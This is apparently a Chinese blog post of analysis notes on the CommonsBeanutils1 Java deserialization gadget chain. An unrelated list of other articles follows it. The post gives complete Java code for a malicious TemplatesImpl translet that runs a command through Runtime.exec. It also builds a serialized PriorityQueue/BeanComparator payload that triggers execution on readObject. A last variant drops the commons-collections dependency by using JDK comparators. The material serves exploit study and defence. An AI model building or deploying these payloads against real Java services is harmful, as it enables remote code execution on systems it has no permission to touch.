CommonsBeanutils1 分析笔记
1、PropertyUtils.getProperty
commons-beanutils-1.9.2.jar 包下的 PropertyUtils#getProperty方法相对于getXxx方法,取得其值。
来试下该方法功能
public class Person {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
...
public class PropertyUtilsTest {
@Test
public void test() throws Exception{
Person p = new Person();
p.setName("liangzi");
String name =(String) PropertyUtils.getProperty(p, "name");
System.out.println(name);
}
}

我们知道通过 TemplatesImpl类 bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,可以造成任意命令执行。
在TemplatesImpl 类中存在 getOutputProperties方法

可以通过PropertyUtils.getProperty 来构造如下代码
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.PropertyUtils;
import org.junit.Test;
import java.lang.reflect.Field;
public class TempletesTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
PropertyUtils.getProperty(templates,"outputProperties");
}
}
...
RunCmd 恶意类
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class RunCmd extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c","notepad.exe"});
} catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

正常执行命令。
2、构造poc
1、通过ysoserial 可以发现使用了 PriorityQueue 对象,所以我们来到 PriorityQueue#readObject 方法

2、在 BeanComparator 类中存在 compare 方法,该方法中有使用 PropertyUtils.getProperty 方法

我们目标是要进去到 PropertyUtils.getProperty 方法中,首先需要有调用 compare的地方,同时 property!=null,继续回到 PriorityQueue#readObject 中,看到 heapify() 方法
流程如下
heapify -> siftDown -> siftDownUsingComparator(k, x) -> comparator.compare((E) c, (E) queue[right])
comparator 由 PriorityQueue 构造方法传入,所以我们传入 BeanComparator 对象即可进去到BeanComparator 类的 compare 方法
构造payload
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class TemplatesTest2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
BeanComparator beanComparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, beanComparator);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{templates, templates});
setFieldValue(beanComparator, "property", "outputProperties");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
3、排除 commons-collections 包构造poc
在maven中加入如下配置,再次运行上面的poc
<exclusions>
<exclusion>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
</exclusion>
</exclusions>

java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator

所以这里我们要传入非 collections包中的 ComparableComparator
需要满足下面条件
- 实现
java.util.Comparator接口 - 实现
java.io.Serializable接口
获取实现了comparator 并可序列化的类
import org.junit.Test;
import org.reflections.Reflections;
import java.io.Serializable;
import java.util.Comparator;
import java.util.Set;
public class ClassUtil {
@Test
public void test() {
Reflections reflections1 = new Reflections("java.*");
Set<Class<? extends Comparator>> comparatorclasses = reflections1.getSubTypesOf(Comparator.class);
Reflections reflections2 = new Reflections("java.*");
Set<Class<? extends Serializable>> serializableclasses = reflections1.getSubTypesOf(Serializable.class);
for (Class clazz : comparatorclasses) {
// System.out.println("Found: " + clazz.getName());
for (Class serialclazz : serializableclasses){
if(serialclazz.getName().equals(clazz.getName())){
System.out.println(clazz.getName());
}
}
}
}
}
得出
java.util.Comparators$NaturalOrderComparator
javax.swing.plaf.basic.BasicTreeUI$TreeTransferHandler
java.util.Collections$ReverseComparator2
java.util.Comparators$NullComparator
java.util.Collections$ReverseComparator
java.lang.String$CaseInsensitiveComparator
javax.swing.LayoutComparator
java.util.Collections.java 类

package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue;
public class TemplatesTest2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
BeanComparator beanComparator = new BeanComparator(null,Collections.reverseOrder());// 或 BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, beanComparator);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{templates, templates});
setFieldValue(beanComparator, "property", "outputProperties");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}

4、参考
- https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
- https://blog.knownsec.com/2016/03/java-deserialization-commonsbeanutils-pop-chains-analysis/
CommonsBeanutils1 分析笔记的更多相关文章
- 3.View绘制分析笔记之onLayout
上一篇文章我们了解了View的onMeasure,那么今天我们继续来学习Android View绘制三部曲的第二步,onLayout,布局. ViewRootImpl#performLayout pr ...
- 4.View绘制分析笔记之onDraw
上一篇文章我们了解了View的onLayout,那么今天我们来学习Android View绘制三部曲的最后一步,onDraw,绘制. ViewRootImpl#performDraw private ...
- 2.View绘制分析笔记之onMeasure
今天主要学习记录一下Android View绘制三部曲的第一步,onMeasure,测量. 起源 在Activity中,所有的View都是DecorView的子View,然后DecorView又是被V ...
- 1.Android 视图及View绘制分析笔记之setContentView
自从1983年第一台图形用户界面的个人电脑问世以来,几乎所有的PC操作系统都支持可视化操作,Android也不例外.对于所有Android Developer来说,我们接触最多的控件就是View.通常 ...
- zeromq源码分析笔记之线程间收发命令(2)
在zeromq源码分析笔记之架构说到了zmq的整体架构,可以看到线程间通信包括两类,一类是用于收发命令,告知对象该调用什么方法去做什么事情,命令的结构由command_t结构体确定:另一类是socke ...
- glusterfs 4.0.1 api 分析笔记1
一般来说,我们写个客户端程序大概的样子是这样的: /* glfs_example.c */ // gcc -o glfs_example glfs_example.c -L /usr/lib64/ - ...
- SEH分析笔记(X64篇)
SEH分析笔记(X64篇) v1.0.0 boxcounter 历史: v1.0.0, 2011-11-4:最初版本. [不介意转载,但请注明出处 www.boxcounter.com 附件里有本文 ...
- 【转载】Instagram架构分析笔记
原文地址:http://chengxu.org/p/401.html Instagram 架构分析笔记 全部 技术博客 Instagram团队上个月才迎来第 7 名员工,是的,7个人的团队.作为 iP ...
- CentOS下使用Iptraf进行网络流量的分析笔记
CentOS下使用Iptraf进行网络流量的分析笔记 一.概述 Iptraf是一款linux环境下,监控网络流量的一款绝佳的免费小软件. 本博客其他随笔参考: Centos安装流量监控工具iftop笔 ...
随机推荐
- 『go成长之路』 defer 作用、典型用法以及多个defer调用顺序,附加defer避坑点,拿来吧你
预习内容 defer 的作用有哪些? 多个 defer 的执行顺序是怎样的? defer,return,函数返回值 三者之间的执行顺序 defer的作用 go中的defer是延迟函数,一般是用于释放资 ...
- Python语法之用户交互与基本运算符
一.与用户交互 1.接收用户输入 python3中的input会把用户输入的所有内容都存成str类型 age = input("请输入您的年龄: ") # "内容&quo ...
- Blazor 模板化组件开发指南
翻译自 Waqas Anwar 2021年4月15日的文章 <A Developer's Guide To Blazor Templated Components> [1] 在我之前的一篇 ...
- 在VMware中安装Centos6值得注意的几点
关于在VMware上安装centos6.9时遇到的几个值得说的点 0x01关于分区 分区时候可以选择默认分区,也可以选择自定义布局,这里选择自定义布局 点击sda,选择创建,再选标准分区->创建 ...
- SpringBoot中Jackson的过滤使用
在接口的返回对象中,可能会有一些属性为null或者需要禁止某些字段返回给客户端. 在SpringBoot中可使用内置了Jackson实现这个需求 1. 过滤为null字段 在实体类中使用@JsonIn ...
- SQL 练习41
编写一个 SQL 查询,获取 Employee 表中第二高的薪水(Salary) 例如上述 Employee 表,SQL查询应该返回 200 作为第二高的薪水.如果不存在第二高的薪水,那么查询应返回 ...
- Node + Selenium 报错 UnhandledPromiseRejectionWarning: Error: ECONNREFUSED connect ECONNREFUSED 127.0.0.1:5319
安装selenium-webdriver npm i selenium-webdriver 当前安装版本: "selenium-webdriver": "^4.0.0-a ...
- mac Charles抓包
手机配置http代理 1.配置iPhone或Android 的wifi配置.首先保证Mac电脑和手机是在同一个局域网内. 2.设置手机wifi配置,在HTTP代理中选择手选代理,服务器填写Mac的IP ...
- Leaflet 中 删除 一组 标记(Marker)
动态显示一个标签: L.marker([obj.Y,obj.X]).addTo(map).bindPopup(obj.name).openPopup(); let layers=[]; let myG ...
- C#基础知识---Linq操作XML文件
概述 Linq也就是Language Integrated Query的缩写,即语言集成查询,是微软在.Net 3.5中提出的一项新技术. Linq主要包含4个组件---Linq to Objects ...